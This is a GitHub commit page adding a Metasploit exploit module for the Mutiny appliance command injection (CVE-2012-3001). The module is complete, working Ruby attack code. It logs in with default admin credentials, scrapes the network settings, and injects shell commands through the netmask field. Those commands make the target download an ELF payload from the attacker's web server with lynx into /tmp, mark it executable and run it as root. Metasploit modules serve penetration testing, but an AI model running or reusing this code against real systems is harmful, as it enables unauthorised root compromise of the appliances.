Skip to content

Commit 11754f2

Browse files
committed
Merge branch 'mutiny_subnetmask_exec' of github.com:jvazquez-r7/metasploit-framework into jvazquez-r7-mutiny_subnetmask_exec
2 parents 051e31c + 25db782 commit 11754f2

File tree

1 file changed

+270
-0
lines changed

1 file changed

+270
-0
lines changed
Lines changed: 270 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,270 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::Remote::HttpServer
15+
include Msf::Exploit::EXE
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'Mutiny Remote Command Execution',
20+
'Description' => %q{
21+
This module exploits an authenticated command injection vulnerability in the
22+
Mutiny appliance. Versions prior to 4.5-1.12 are vulnerable. In order to exploit
23+
the vulnerability the mutiny user must have access to the admin interface. The
24+
injected commands are executed with root privileges. This module has been tested
25+
successfully on Mutiny 4.2-1.05.
26+
},
27+
'Author' =>
28+
[
29+
'Christopher Campbell', # Vulnerability discovery
30+
'juan vazquez' # Metasploit module
31+
],
32+
'License' => MSF_LICENSE,
33+
'References' =>
34+
[
35+
['CVE', '2012-3001'],
36+
['OSVDB', '86570'],
37+
['BID', '56165'],
38+
['US-CERT-VU', '841851'],
39+
['URL', 'http://obscuresecurity.blogspot.com.es/2012/10/mutiny-command-injection-and-cve-2012.html']
40+
],
41+
'Privileged' => true,
42+
'Platform' => [ 'unix', 'linux' ],
43+
'Payload' =>
44+
{
45+
'DisableNops' => true,
46+
'Space' => 4000
47+
},
48+
'Targets' =>
49+
[
50+
[ 'Unix CMD',
51+
{
52+
'Arch' => ARCH_CMD,
53+
'Platform' => 'unix',
54+
#'Payload' =>
55+
# {
56+
# 'Compat' =>
57+
# {
58+
# 'PayloadType' => 'cmd',
59+
# 'RequiredCmd' => 'python'
60+
# }
61+
# },
62+
}
63+
],
64+
[ 'Linux Payload',
65+
{
66+
'Arch' => ARCH_X86,
67+
'Platform' => 'linux'
68+
}
69+
]
70+
],
71+
'DisclosureDate' => 'Oct 22 2012',
72+
'DefaultTarget' => 1))
73+
74+
register_options(
75+
[
76+
OptString.new('TARGETURI', [ true, 'The base path to Mutiny', '/interface/' ]),
77+
OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]),
78+
OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'mutiny' ])
79+
], self.class)
80+
end
81+
82+
def peer
83+
"#{rhost}:#{rport}"
84+
end
85+
86+
def lookup_lhost()
87+
# Get the source address
88+
if datastore['SRVHOST'] == '0.0.0.0'
89+
Rex::Socket.source_address('50.50.50.50')
90+
else
91+
datastore['SRVHOST']
92+
end
93+
end
94+
95+
def on_new_session(session)
96+
cmds = []
97+
cmds = [
98+
%Q|echo #{@netmask_eth0} > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask|,
99+
%Q|tr -d "\\n\\r" < /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak|,
100+
%Q|mv -f /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask|,
101+
%Q|sed -e s/NETMASK=.*/NETMASK=#{@netmask_eth0}/ ifcfg-eth0 > ifcfg-eth0.bak|,
102+
%Q|mv -f ifcfg-eth0.bak ifcfg-eth0|,
103+
%Q|/etc/init.d/network restart|
104+
] unless not @netmask_eth0
105+
cmds << %Q|rm /tmp/#{@elfname}.elf| unless target.name =~ /CMD/
106+
107+
print_status("#{peer} - Restoring Network Information and Cleanup...")
108+
begin
109+
session.shell_command_token(cmds.join(" ; "))
110+
rescue
111+
print_error("#{peer} - Automatic restore and cleanup didn't work, please use these commands:")
112+
cmds.each { |cmd|
113+
print_warning(cmd)
114+
}
115+
end
116+
print_good("#{peer} - Restoring and Cleanup successful")
117+
end
118+
119+
def start_web_service
120+
print_status("#{peer} - Setting up the Web Service...")
121+
122+
if datastore['SSL']
123+
ssl_restore = true
124+
datastore['SSL'] = false
125+
end
126+
127+
resource_uri = '/' + @elfname + '.elf'
128+
service_url = "http://#{lookup_lhost}:#{datastore['SRVPORT']}#{resource_uri}"
129+
130+
print_status("#{peer} - Starting up our web service on #{service_url} ...")
131+
start_service({'Uri' => {
132+
'Proc' => Proc.new { |cli, req|
133+
on_request_uri(cli, req)
134+
},
135+
'Path' => resource_uri
136+
}})
137+
datastore['SSL'] = true if ssl_restore
138+
139+
return service_url
140+
end
141+
142+
# wait for the data to be sent
143+
def wait_linux_payload
144+
print_status("#{peer} - Waiting for the victim to request the ELF payload...")
145+
146+
waited = 0
147+
while (not @elf_sent)
148+
select(nil, nil, nil, 1)
149+
waited += 1
150+
if (waited > datastore['HTTP_DELAY'])
151+
fail_with(Exploit::Failure::Unknown, "Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
152+
end
153+
end
154+
155+
#print_status("#{peer} - Giving time to the payload to execute...")
156+
#select(nil, nil, nil, 20) unless session_created?
157+
158+
print_status("#{peer} - Shutting down the web service...")
159+
stop_service
160+
end
161+
162+
# Handle incoming requests from the target
163+
def on_request_uri(cli, request)
164+
vprint_status("#{peer} - on_request_uri called, #{request} requested")
165+
166+
if (not @elf_data)
167+
print_error("#{peer} - A request came in, but the ELF archive wasn't ready yet!")
168+
return
169+
end
170+
171+
print_good("#{peer} - Sending the ELF payload to the target...")
172+
@elf_sent = true
173+
send_response(cli, @elf_data)
174+
end
175+
176+
def check
177+
res = send_request_cgi({
178+
'uri' => normalize_uri(target_uri.path, 'logon.jsp'),
179+
})
180+
181+
if res and res.body =~ /: Mutiny : Login @ mutiny/
182+
return Exploit::CheckCode::Detected
183+
end
184+
185+
return Exploit::CheckCode::Safe
186+
end
187+
188+
def exploit
189+
190+
print_status("#{peer} - Login with the provided credentials...")
191+
192+
res = send_request_cgi({
193+
'method' => 'POST',
194+
'uri' => normalize_uri(target_uri.path, 'logon.do'),
195+
'vars_post' =>
196+
{
197+
'username' => datastore['USERNAME'],
198+
'password' => datastore['PASSWORD']
199+
}
200+
})
201+
202+
if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
203+
print_good("#{peer} - Login successful")
204+
session = $1
205+
else
206+
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to login in Mutiny")
207+
end
208+
209+
print_status("#{peer} - Leaking current Network Information...")
210+
211+
res = send_request_cgi({
212+
'method' => 'GET',
213+
'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'),
214+
'cookie' => "JSESSIONID=#{session}",
215+
})
216+
217+
if res and res.code == 200 and res.body =~ /Ethernet Interfaces/
218+
adress_eth0 = (res.body =~ /<input type="text" value="(.*)" name="addresseth0" class="textInput" \/>/ ? $1 : "")
219+
@netmask_eth0 = (res.body =~ /<input type="text" value="(.*)" name="netmasketh0" class="textInput" \/>/ ? $1 : "")
220+
gateway = (res.body =~ /<input type="text" name="Gateway" value= "(.*)" class="textInput">/ ? $1 : "")
221+
dns_address = (res.body =~ /<input type="text" value="(.*)" name="dnsaddress0" class="textInput">/ ? $1 : "")
222+
static_route_address = (res.body =~ /<input class="textInput" type="text" name="staticRouteAddress" value="(.*)" \/>/ ? $1 : "")
223+
static_route_netmask = (res.body =~ /<input class="textInput" type="text" name="staticRouteNetmask" value="(.*)" \/>/ ? $1 : "")
224+
static_route_gateway = (res.body =~ /<input class="textInput" type="text" name="staticRouteGateway" value="(.*)" \/>/ ? $1 : "")
225+
print_good("#{peer} - Information leaked successfully")
226+
else
227+
print_error("#{peer} - Error leaking information, trying to exploit with random values")
228+
end
229+
230+
if target.name =~ /CMD/
231+
injection = @netmask_eth0.dup || rand_text_alpha(5 + rand(3))
232+
injection << "; #{payload.encoded}"
233+
else
234+
print_status("#{peer} - Generating the ELF Payload...")
235+
@elf_data = generate_payload_exe
236+
@elfname = Rex::Text.rand_text_alpha(3+rand(3))
237+
service_url = start_web_service
238+
injection = @netmask_eth0.dup || rand_text_alpha(5 + rand(3))
239+
injection << "; lynx -source \"#{service_url}\" > /tmp/#{@elfname}.elf"
240+
injection << "; chmod +x /tmp/#{@elfname}.elf"
241+
injection << "; /tmp/#{@elfname}.elf"
242+
243+
end
244+
245+
print_status("#{peer} - Exploiting Command Injection...")
246+
247+
send_request_cgi({
248+
'method' => 'POST',
249+
'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'),
250+
'cookie' => "JSESSIONID=#{session}",
251+
'vars_post' =>
252+
{
253+
"addresseth0" => adress_eth0 || rand_text_alpha(5 + rand(3)),
254+
"netmasketh0" => injection,
255+
"Gateway" => gateway || rand_text_alpha(5 + rand(3)),
256+
"dnsaddress0" => dns_address || rand_text_alpha(5 + rand(3)),
257+
"staticRouteAddress" => static_route_address || rand_text_alpha(5 + rand(3)),
258+
"staticRouteNetmask" => static_route_netmask || rand_text_alpha(5 + rand(3)),
259+
"staticRouteGateway" => static_route_gateway || rand_text_alpha(5 + rand(3))
260+
}
261+
}, 1)
262+
263+
if target.name =~ /Linux Payload/
264+
wait_linux_payload
265+
end
266+
end
267+
268+
269+
270+
end

0 commit comments

Comments
 (0)